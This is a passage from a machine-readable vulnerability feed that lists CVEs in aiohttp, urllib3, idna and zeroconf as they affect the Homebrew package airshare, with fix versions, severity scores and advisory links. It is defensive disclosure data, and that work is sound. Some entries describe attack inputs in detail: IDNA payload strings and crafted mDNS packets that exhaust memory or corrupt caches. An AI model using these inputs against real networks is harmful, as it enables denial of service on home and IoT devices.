https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-c427-h43c-vf67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34525"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34993","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-jg22-mg44-37j8","CVE-2026-34993","PYSEC-2026-2104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP is Vulnerable to Deserialization of Untrusted Data","details":"### Summary\n\nUsing ``CookieJar.load()`` with untrusted input may allow arbitrary code execution.\n\n### Impact\n\nMost applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.\n\n### Workaround\n\nIf an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-44431","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-44432","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_19"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-45409","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.18","key":"pkg:pypi/idna@3.18","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47180","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-9pgc-3ccv-5297","CVE-2026-47180","PYSEC-2026-3436"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.5","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.150.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.150.0","key":"pkg:pypi/zeroconf@0.150.0","resource":"zeroconf"}]},"summary":"zeroconf has unbounded recursion in DNS compression-pointer decoder that allows LAN-local denial of service","details":"### Impact\n\n`DNSIncoming._decode_labels_at_offset` recurses once per DNS-name compression pointer (RFC 1035 §4.1.4). Pointer cycles and label counts were capped, but the chain length of unique forward pointers was not. A single ~3 kB mDNS packet carrying ~1500 chained pointers drives the recursion past CPython's default limit, and `RecursionError` was not listed in `DECODE_EXCEPTIONS`, so it escaped `DNSIncoming.__init__` and was logged by asyncio's default exception handler.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can degrade the mDNS listener; that includes a guest on the same Wi-Fi, a compromised IoT device, or a container on a shared bridge. Replaying at a few hertz produces sustained CPU burn and log flooding, and mDNS-dependent features (HomeKit, Chromecast/Matter, AirPlay, printers) degrade while the attack is in flight.\n\n### Patches\nFixed in `zeroconf` 0.149.5 ([PR #1719](https://github.com/python-zeroconf/python-zeroconf/pull/1719)).\nUpgrade to `>= 0.149.5`.\n\n### Workarounds\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n- [PR #1719](https://github.com/python-zeroconf/python-zeroconf/pull/1719), fix\n- [Issue #1713](https://github.com/python-zeroconf/python-zeroconf/issues/1713), public tracking issue\n- [RFC 1035 §4.1.4](https://www.rfc-editor.org/rfc/rfc1035#section-4.1.4), [RFC 6762](https://www.rfc-editor.org/rfc/rfc6762), [CWE-674](https://cwe.mitre.org/data/definitions/674.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-9pgc-3ccv-5297"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1713"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1719"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47183","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-phvx-9mgw-67r5","CVE-2026-47183","PYSEC-2026-3437"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.6","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.150.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.150.0","key":"pkg:pypi/zeroconf@0.150.0","resource":"zeroconf"}]},"summary":"zeroconf: Unbounded exception-dedup state retains packet buffers via traceback frame locals, enabling LAN-local memory exhaustion","details":"### Impact\n`DNSIncoming._log_exception_debug` and the four `QuietLogger` exception-dedup methods stored an unbounded `_seen_logs` dict keyed by `str(sys.exc_info()[1])`. The seven `IncomingDecodeError` messages raised from `_read_name` / `_decode_labels_at_offset` (RFC 6762 §18 name-decoding error paths) all embed `self.source` — the peer's ephemeral source port, varying per packet — plus byte `offset` and pointer `link`, so every attacker-influenced combination produced a fresh dedup key. The stored value was the full `sys.exc_info()` triple, whose traceback's frame locals retained `self.data` (the raw inbound packet, up to 8966 bytes per RFC 6762 §17). Each unique malformed packet therefore pinned ~9 KB until process exit.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can drive memory growth at line rate; that includes a guest on the same Wi-Fi, a compromised IoT device, or a container on a shared bridge. On memory-constrained deployments (Home Assistant on Raspberry-Pi-class hardware is the canonical victim) sustained traffic trivially OOM-kills the process, and mDNS-dependent features (HomeKit, Chromecast/Matter, AirPlay, printers) degrade or fail.\n\n### Patches\nFixed in `zeroconf` 0.149.6 ([PR #1717](https://github.com/python-zeroconf/python-zeroconf/pull/1717)). Upgrade to `>= 0.149.6`.\n\n### Workarounds\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n- [PR #1717](https://github.com/python-zeroconf/python-zeroconf/pull/1717), fix\n- [Issue #1714](https://github.com/python-zeroconf/python-zeroconf/issues/1714), public tracking issue\n- [RFC 6762 §17](https://www.rfc-editor.org/rfc/rfc6762#section-17), [RFC 6762 §18](https://www.rfc-editor.org/rfc/rfc6762#section-18), [CWE-400](https://cwe.mitre.org/data/definitions/400.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-phvx-9mgw-67r5"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1714"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1717"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47184","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-rfg2-pjw2-56x2","CVE-2026-47184","PYSEC-2026-3439"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.7","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.150.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.150.0","key":"pkg:pypi/zeroconf@0.150.0","resource":"zeroconf"}]},"summary":"zeroconf has unbounded DNS record cache that allows LAN-local memory exhaustion via multicast flood","details":"### Impact\n\n`DNSCache._async_add` inserted every response record into `cache`, `_expirations`, `_expire_heap`, and `service_cache` with no cap on entry count. The only pre-existing protection was a PTR TTL floor (`_DNS_PTR_MIN_TTL = 1125` s, RFC 6762 §10), which actually *prolonged* attacker-injected records, and a periodic `async_expire` on `_CACHE_CLEANUP_INTERVAL = 10` s that could not keep up with a flood.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can multicast valid mDNS responses with unique names (RFC 6762 §11 allows up to 253 bytes each) and watch them accumulate. On memory-constrained deployments (Home Assistant on Raspberry-Pi-class hardware is the canonical victim) sustained traffic OOM-kills the process; under lighter load, every cache lookup and every periodic expiry pass grows linearly slower, starving asyncio and breaking unrelated zeroconf consumers (discovery, registration, ServiceBrowser callbacks). A second variant — re-multicasting cached records with shifting TTLs — grows `_expire_heap` unbounded between cleanup runs without touching `cache` or `_total_records`.\n\n### Patches\n\nFixed in `zeroconf` 0.149.6 ([PR #1718](https://github.com/python-zeroconf/python-zeroconf/pull/1718)). Upgrade to `>= 0.149.6`.\n\n### Workarounds\n\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n\n- [PR #1718](https://github.com/python-zeroconf/python-zeroconf/pull/1718), fix\n- [Issue #1715](https://github.com/python-zeroconf/python-zeroconf/issues/1715), public tracking issue\n- [RFC 6762 §10](https://www.rfc-editor.org/rfc/rfc6762#section-10), [RFC 6762 §11](https://www.rfc-editor.org/rfc/rfc6762#section-11), [CWE-400](https://cwe.mitre.org/data/definitions/400.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-rfg2-pjw2-56x2"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1715"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1718"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47265","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-hg6j-4rv6-33pg","CVE-2026-47265","PYSEC-2026-2105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP is vulnerable to cross-origin redirect with per-request cookies","details":"### Summary\n\nCookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect.\n\n### Impact\n\nIf a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.\n\n### Workaround\n\nIf unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hg6j-4rv6-33pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47265"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-48045","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-9663-mqmp-p9mm","CVE-2026-48045","PYSEC-2026-3435"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.12","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.150.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.150.0","key":"pkg:pypi/zeroconf@0.150.0","resource":"zeroconf"}]},"summary":"python-zeroconf: Unbounded TC-deferred queue allows LAN-local memory exhaustion via spoofed-source flood","details":"### Impact\n\n`AsyncListener.handle_query_or_defer` retained every truncated (TC-bit) incoming query in `self._deferred[addr]` and armed a per-addr timer in `self._timers[addr]` that flushed the reassembled query within ~500 ms (RFC 6762 §18.5). Neither the per-addr list nor the number of distinct `addr` keys was capped, and the dedup check (`for incoming in reversed(deferred): if incoming.data == msg.data`) ran O(N) over the per-addr list on every arrival.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can stream byte-distinct TC-flagged mDNS queries — each up to `_MAX_MSG_ABSOLUTE = 8966` bytes, with `DNSIncoming` retaining the raw `data` buffer plus parsed-record state. Trivially spoofed source IPs multiply the effect across `_deferred` / `_timers`, and the O(N) data compare burns CPU quadratically as each per-addr queue grows. On memory-constrained deployments (Home Assistant on Raspberry-Pi-class hardware is the canonical victim) sustained traffic OOM-kills the process; under lighter load, the per-arrival scan and event-loop scheduler starvation break unrelated zeroconf consumers (discovery, registration, ServiceBrowser callbacks).\n\n### Patches\n\nFixed in `zeroconf` 0.149.12 ([PR #1751](https://github.com/python-zeroconf/python-zeroconf/pull/1751)). Upgrade to `>= 0.149.12`.\n\n### Workarounds\n\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n\n- [PR #1751](https://github.com/python-zeroconf/python-zeroconf/pull/1751), fix\n- [RFC 6762 §18.5](https://www.rfc-editor.org/rfc/rfc6762#section-18.5), [CWE-400](https://cwe.mitre.org/data/definitions/400.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-9663-mqmp-p9mm"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1751"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/commit/b22c8ff19c66c68907d220a4823c0950f4fa93f7"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-48487","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-qc2x-6f54-m6h9","CVE-2026-48487","PYSEC-2026-3438"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.16","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.150.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.150.0","key":"pkg:pypi/zeroconf@0.150.0","resource":"zeroconf"}]},"summary":"zeroconf: Unvalidated rdlength in record payload readers allows LAN-local cache corruption via crafted mDNS packet","details":"### Impact\n\n`_read_character_string` and `_read_string` in `src/zeroconf/_protocol/incoming.py` sliced `self.data[self.offset : self.offset + length]` and advanced `self.offset` by the declared `length` without checking it against `self._data_len`. Python's slice silently returns fewer bytes when the end index runs past the buffer, so a record whose 16-bit RDLENGTH (RFC 1035 §3.2.1) over-advertised by tens of kilobytes was constructed from a truncated payload, appended to `DNSIncoming._answers`, and committed to the cache before any later parse failure surfaced. The follow-up `_read_name` for the next record then failed, but the corrupt record had already entered the answer list and propagated to `DNSCache` and `ServiceInfo`.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can multicast a single mDNS response carrying a TXT, HINFO, or A/AAAA record that advertises rdlength=65535 and only a handful of real payload bytes; consumers calling `ServiceInfo.properties` then parse the truncated bytes as if they matched the wire, and downstream integrations (Home Assistant and other zeroconf-driven discovery) trust the decoded record. The bug is parser-state desync rather than RCE, but it seeds the cache with attacker-shaped key/value and address records for a TTL window and is a building block for higher-impact chains.\n\nThe impact is likely lower than the other recently released advisories as there is no additional risk of OOM so the severity was manually set to low to override the score CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N (6.5, Medium) since that doesn't fully consider the mDNS threat model.\n\n### Patches\n\nFixed in `zeroconf` 0.149.16 ([PR #1756](https://github.com/python-zeroconf/python-zeroconf/pull/1756)). Note that this change originally intended to ship in 0.149.13 but we ran out of space on PyPI: see https://github.com/python-zeroconf/python-zeroconf/issues/1769\n\nUpgrade to `>= 0.149.16`.\n\n### Workarounds\n\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n\n- [PR #1756](https://github.com/python-zeroconf/python-zeroconf/pull/1756), fix\n- [Issue #1752](https://github.com/python-zeroconf/python-zeroconf/issues/1752), public tracking issue\n- [RFC 1035 §3.2.1](https://www.rfc-editor.org/rfc/rfc1035#section-3.2.1), [RFC 1035 §3.3](https://www.rfc-editor.org/rfc/rfc1035#section-3.3), [CWE-130](https://cwe.mitre.org/data/definitions/130.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-qc2x-6f54-m6h9"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1752"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1756"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-50269","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-m6qw-4cw2-hm4m","CVE-2026-50269","PYSEC-2026-2106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"sum